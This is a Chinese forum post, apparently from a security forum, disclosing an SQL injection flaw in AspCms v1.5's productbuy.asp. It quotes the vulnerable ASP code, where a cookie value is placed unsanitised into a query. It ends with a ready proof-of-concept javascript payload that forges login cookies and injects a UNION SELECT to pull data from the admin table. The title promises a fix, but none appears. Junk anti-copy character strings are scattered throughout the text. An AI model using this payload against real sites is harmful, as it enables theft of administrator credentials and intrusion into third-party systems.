AspCms_v1.5_20110517 SQL注射漏洞及修复

admin

好久没上土司了，上来一看发现在删号名单内.....
+ m3 C* v3 @3 o+ z! X* g也没啥好发的，前些天路过某个小站，用的AspCms这个系统，搜索了下，productbuy.asp这个文件存在注射，但是目标已经修补....下载了代码，很奇葩的是productbuy.asp这个文件官方虽然修补了网上提到的漏洞，但是就在同一个文件下面找到了注射漏洞。。。。。。。
废话不多说，看代码：
; t: A" `( t9 U( }% O* @7 `
<%

if action = "buy" then
5 ~# t* T6 O) V2 W# [5 b! q
        addOrder()

else
' \0 ~/ Q! n+ j9 s+ R
        echoContent()
* ]  i5 l* d# C1 T9 ]/ E/ i" b
end if
- s& n3 B1 t* A4 p6 P, o1 _% t
- u1 u+ L$ C$ o. J8 o+ O9 a

1 h* d9 `( \3 |  `/ N, s……略过


) ~: [6 \3 r( @- c
Sub echoContent()

        dim id

5 b1 m/ }, ^7 F( _" \: v        id=getForm("id","get")
  G: d9 C9 x+ P1 B# f& \4 r% f+ C6 T
        

        if isnul(id) or not isnum(id) then alertMsgAndGo "请选择产品！","-1"
: g4 [, T2 H1 s9 R$ S& P# l1 u% A
% J$ D% |/ z0 O& M        
. U4 ^. ]4 p2 c) |
2 T( h& y4 D+ t2 T# y        dim templateobj,channelTemplatePath : set templateobj = mainClassobj.createObject("MainClass.template")

: n# J0 x) M7 d4 L" u' H        dim typeIds,rsObj,rsObjtid,Tid,rsObjSmalltype,rsObjBigtype,selectproduct
: g& H* e: R0 {3 `" f
        Dim templatePath,tempStr

        templatePath = "/"&sitePath&"templates/"&defaultTemplate&"/"&htmlFilePath&"/productbuy.html"

2 H8 O' ]6 h% p: [7 `9 h' o
% i3 c* L6 a" t. l: m( {# o6 Y6 {
        set rsObj=conn.Exec("select title from aspcms_news where newsID="&id,"r1")

5 e+ S8 D# A3 [8 Q1 V& @2 ~        selectproduct=rsObj(0)

        

        Dim linkman,gender,phone,mobile,email,qq,address,postcode
( m7 Z' |7 I- L: F
3 o$ M# P  [7 H7 ?( B& z        if isnul(rCookie("loginstatus")) then  wCookie"loginstatus",0
# T, {: I/ {2 K" v6 o
        if rCookie("loginstatus")=1 then  

$ |8 J8 j) ^# I) Z: F. o0 ^                set rsObj=conn.Exec("select *  from aspcms_Users where UserID="&trim(rCookie("userID")),"r1")
& u5 ]1 A8 J& E. J5 \+ P
& w& y! F& a0 }" ^                linkman=rsObj("truename")

- o1 L3 A: }1 [: f5 I                gender=rsObj("gender")
- L4 T3 ]) q2 Y& t9 t0 f+ u
                phone=rsObj("phone")

                mobile=rsObj("mobile")

                email=rsObj("email")
, \2 t0 C$ n+ b, X. F" Z
: r3 k% ]/ q; f" X* h% W! ?, r                qq=rsObj("qq")

2 e4 t1 ~; r' T7 a                address=rsObj("address")

                postcode=rsObj("postcode")

7 b7 C/ q1 J! b) U        else
. k3 n5 G& d6 h$ Q/ Z' e  n2 h
9 y. H. H; c7 x8 H+ I' {6 D                gender=1

        end if

        rsObj.close()

2 z/ s( b9 s6 r               

# N$ s! ?* p, [        with templateObj

% i& f1 |+ v5 ]. I' d7 _                .content=loadFile(templatePath)        

                .parseHtml()

# Z4 c# ^$ k: c7 z$ Q                .content=replaceStr(.content,"{aspcms:selectproduct}",selectproduct)

                .content=replaceStr(.content,"[aspcms:linkman]",linkman)               
5 H, ~6 y4 v: {; h, u" ?) }* \
                .content=replaceStr(.content,"[aspcms:gender]",gender)               
  l/ j, }7 M& a5 P9 t
                .content=replaceStr(.content,"[aspcms:phone]",phone)               
5 G- M0 `2 `' _- I0 H8 n% u
                .content=replaceStr(.content,"[aspcms:mobile]",mobile)               
! `5 C( a2 r& C# S  I; A' b6 P
8 C; t6 i$ o' D0 O3 p# R' q                .content=replaceStr(.content,"[aspcms:email]",email)                        
- j0 p" m. S$ E; X
                .content=replaceStr(.content,"[aspcms:qq]",qq)                        
" d5 \0 }7 s3 H+ V
                .content=replaceStr(.content,"[aspcms:address]",address)                        
8 k8 D6 [/ W1 V
! l- X  U# W3 z7 ]                .content=replaceStr(.content,"[aspcms:postcode]",postcode)        

3 m* ~5 @  w9 ]; p7 c7 h                .parseCommon()                 
& `9 X+ s6 g' E3 f* f8 I9 K
& U" ^9 m3 l* f/ k( Q* d                echo .content
+ g7 z: Y" a/ l( o4 p
        end with

# G+ ]: ^7 J) |% ^. L        set templateobj =nothing : terminateAllObjects

! V0 J( G, g" a4 I+ N$ \End Sub
- d2 z2 X, ]& y# G4 ?8 l漏洞很明显，没啥好说的
8 W% e6 U( f( X/ tpoc：

# t1 ]7 E+ Y# u2 Cjavascript:alert(document.cookie="loginstatus=" + escape("1"));alert(document.cookie="userID=" + escape("1 union select 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2 from [Aspcms_Admins]"));另外，脚本板块没权限发帖子​